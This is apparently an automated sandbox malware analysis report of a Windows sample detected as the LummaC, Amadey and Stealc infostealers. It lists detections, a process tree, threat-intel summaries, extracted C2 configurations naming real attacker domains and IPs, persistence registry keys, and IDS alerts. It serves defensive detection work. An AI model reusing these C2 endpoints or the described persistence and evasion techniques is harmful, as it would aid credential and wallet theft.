Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1575381
MD5:	46c3863c4f153d69dbf4d5bfbbc90a73
SHA1:	4fa6468cd70687385c225f1500ae570102a4e370
SHA256:	0d5511295f174d1f67f6d4905af07dc0bb610572374673ffd70efac14f265fdc
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to register a low level keyboard hook

Creates multiple autostart registry keys

Drops password protected ZIP file

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 46C3863C4F153D69DBF4D5BFBBC90A73)

skotes.exe (PID: 7536 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 46C3863C4F153D69DBF4D5BFBBC90A73)

skotes.exe (PID: 8064 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 46C3863C4F153D69DBF4D5BFBBC90A73)

378e4894d2.exe (PID: 4324 cmdline: "C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe" MD5: 6C1D0DABE1EC5E928F27B3223F25C26B)

ShtrayEasy35.exe (PID: 7520 cmdline: "C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe" MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

7bOe0mBZpcivp612.exe (PID: 7540 cmdline: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe 7520 MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

WerFault.exe (PID: 12416 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7540 -s 996 MD5: C31336C1EFC2CCB44B4326EA793040F2)

8418257119.exe (PID: 7684 cmdline: "C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 18628 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 18672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

f2cd5ac1bd.exe (PID: 1376 cmdline: "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 3696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

f2cd5ac1bd.exe (PID: 18576 cmdline: "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

e145bb7f6e.exe (PID: 12556 cmdline: "C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe" MD5: 2A9A8AC0536ADF8E5AAE9512C47AA11E)

b12a870d60.exe (PID: 18728 cmdline: "C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe" MD5: D5DA2FD5EA632CAE3FA62383DB932295)

7bOe0mBZpcivp612.exe (PID: 7576 cmdline: "C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe" MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

xHdN9si8LjqmZs2y.exe (PID: 7592 cmdline: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe 7576 MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

WerFault.exe (PID: 18544 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7592 -s 600 MD5: C31336C1EFC2CCB44B4326EA793040F2)

7bOe0mBZpcivp612.exe (PID: 7712 cmdline: "C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe" MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

WT0pal2n7uSoixsQ.exe (PID: 4500 cmdline: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe 7712 MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

WerFault.exe (PID: 12440 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4500 -s 648 MD5: C31336C1EFC2CCB44B4326EA793040F2)

7bOe0mBZpcivp612.exe (PID: 12492 cmdline: "C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe" MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

LOVI3rtjoHDpADyV.exe (PID: 12572 cmdline: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe 12492 MD5: C37A981BC24C4ABA6454DA4EECB7ACBE)

WerFault.exe (PID: 18512 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 12572 -s 636 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": ["zinc-sneark.biz", "dare-curbys.biz", "drive-connect.cyou", "formy-spill.biz", "print-vexer.biz", "se-blurry.biz", "dwell-exclaim.biz", "covery-mover.biz", "impend-differ.biz"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1706192821.0000000004940000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2284433645.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1673986015.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: f2cd5ac1bd.exe PID: 18576	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8064, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e145bb7f6e.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8064, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e145bb7f6e.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe, ProcessId: 7540, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:17.319904+0100	2028371	3	Unknown Traffic	192.168.2.4	49777	104.21.51.88	443	TCP
2024-12-15T11:59:19.599933+0100	2028371	3	Unknown Traffic	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T11:59:21.844315+0100	2028371	3	Unknown Traffic	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T11:59:26.271175+0100	2028371	3	Unknown Traffic	192.168.2.4	49804	23.55.153.106	443	TCP
2024-12-15T12:00:05.530285+0100	2028371	3	Unknown Traffic	192.168.2.4	49890	104.21.79.7	443	TCP
2024-12-15T12:00:18.476268+0100	2028371	3	Unknown Traffic	192.168.2.4	49917	104.21.50.161	443	TCP
2024-12-15T12:00:24.308722+0100	2028371	3	Unknown Traffic	192.168.2.4	49928	172.67.207.38	443	TCP
2024-12-15T12:00:26.854428+0100	2028371	3	Unknown Traffic	192.168.2.4	49935	104.21.16.1	443	TCP
2024-12-15T12:00:35.681660+0100	2028371	3	Unknown Traffic	192.168.2.4	49951	23.55.153.106	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:18.043681+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49777	104.21.51.88	443	TCP
2024-12-15T11:59:20.321704+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T11:59:22.844484+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T12:00:07.736059+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49890	104.21.79.7	443	TCP
2024-12-15T12:00:22.465687+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49917	104.21.50.161	443	TCP
2024-12-15T12:00:25.179122+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49928	172.67.207.38	443	TCP
2024-12-15T12:00:27.586218+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49935	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:18.043681+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49777	104.21.51.88	443	TCP
2024-12-15T11:59:20.321704+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T11:59:22.844484+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T12:00:07.736059+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49890	104.21.79.7	443	TCP
2024-12-15T12:00:22.465687+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49917	104.21.50.161	443	TCP
2024-12-15T12:00:25.179122+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49928	172.67.207.38	443	TCP
2024-12-15T12:00:27.586218+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49935	104.21.16.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:21.844315+0100	2058215	1	Domain Observed Used for C2 Detected	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T12:00:26.854428+0100	2058215	1	Domain Observed Used for C2 Detected	192.168.2.4	49935	104.21.16.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:19.599933+0100	2058223	1	Domain Observed Used for C2 Detected	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T12:00:24.308722+0100	2058223	1	Domain Observed Used for C2 Detected	192.168.2.4	49928	172.67.207.38	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:18.476268+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.4	49917	104.21.50.161	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:17.224131+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49776	185.215.113.43	80	TCP
2024-12-15T11:59:25.480466+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49803	185.215.113.43	80	TCP
2024-12-15T11:59:39.150449+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49835	185.215.113.43	80	TCP
2024-12-15T11:59:46.633849+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49851	185.215.113.43	80	TCP
2024-12-15T11:59:56.366545+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49871	185.215.113.43	80	TCP
2024-12-15T12:00:05.682708+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49888	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:24.182334+0100	2058210	1	Domain Observed Used for C2 Detected	192.168.2.4	63784	1.1.1.1	53	UDP
2024-12-15T12:00:31.944427+0100	2058210	1	Domain Observed Used for C2 Detected	192.168.2.4	49965	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:20.323305+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.4	54771	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:23.633929+0100	2058216	1	Domain Observed Used for C2 Detected	192.168.2.4	53807	1.1.1.1	53	UDP
2024-12-15T12:00:30.349594+0100	2058216	1	Domain Observed Used for C2 Detected	192.168.2.4	56364	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:23.411190+0100	2058218	1	Domain Observed Used for C2 Detected	192.168.2.4	64228	1.1.1.1	53	UDP
2024-12-15T12:00:29.178089+0100	2058218	1	Domain Observed Used for C2 Detected	192.168.2.4	51351	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:22.969224+0100	2058220	1	Domain Observed Used for C2 Detected	192.168.2.4	51548	1.1.1.1	53	UDP
2024-12-15T12:00:28.115537+0100	2058220	1	Domain Observed Used for C2 Detected	192.168.2.4	59154	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:18.050978+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.4	59707	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:24.425491+0100	2058226	1	Domain Observed Used for C2 Detected	192.168.2.4	54425	1.1.1.1	53	UDP
2024-12-15T12:00:32.959688+0100	2058226	1	Domain Observed Used for C2 Detected	192.168.2.4	62929	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:16.538660+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.4	50050	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:23.935256+0100	2058236	1	Domain Observed Used for C2 Detected	192.168.2.4	58940	1.1.1.1	53	UDP
2024-12-15T12:00:31.226238+0100	2058236	1	Domain Observed Used for C2 Detected	192.168.2.4	50504	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:37.922877+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49950	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:37.243373+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49950	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:38.243647+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49950	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:40.597259+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49950	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:38.875886+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49950	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:36.413897+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49950	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:05.670331+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:15.875714+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49754	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:10.123504+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	31.41.244.11	80	TCP
2024-12-15T11:59:18.800792+0100	2803305	3	Unknown Traffic	192.168.2.4	49783	172.67.218.51	80	TCP
2024-12-15T11:59:27.352220+0100	2803305	3	Unknown Traffic	192.168.2.4	49805	31.41.244.11	80	TCP
2024-12-15T11:59:40.614761+0100	2803305	3	Unknown Traffic	192.168.2.4	49839	31.41.244.11	80	TCP
2024-12-15T11:59:48.469413+0100	2803305	3	Unknown Traffic	192.168.2.4	49857	185.215.113.16	80	TCP
2024-12-15T11:59:58.248316+0100	2803305	3	Unknown Traffic	192.168.2.4	49876	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T12:00:41.429014+0100	2803304	3	Unknown Traffic	192.168.2.4	49950	185.215.113.206	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T11:59:27.052538+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49804	23.55.153.106	443	TCP
2024-12-15T12:00:36.495000+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49951	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://wrathful-jammy.cyou/T	Avira URL Cloud: Label: malware
Source: https://sordid-snaked.cyou/apilWSH	Avira URL Cloud: Label: malware
Source: https://effecterectz.xyz/apiq	Avira URL Cloud: Label: malware
Source: https://deafeninggeh.biz/apip	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php5568001	Avira URL Cloud: Label: malware
Source: https://diffuculttan.xyz/api	Avira URL Cloud: Label: phishing
Source: https://awake-weaves.cyou/apii	Avira URL Cloud: Label: malware
Source: https://wrathful-jammy.cyou/2	Avira URL Cloud: Label: malware
Source: https://effecterectz.xyz/VWSr	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1319135
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ShtrayEasy35[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1319135
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Avira: detection malicious, Label: HEUR/AGEN.1319135
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Avira: detection malicious, Label: HEUR/AGEN.1319135
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Avira: detection malicious, Label: HEUR/AGEN.1319135
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Avira: detection malicious, Label: HEUR/AGEN.1319135
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

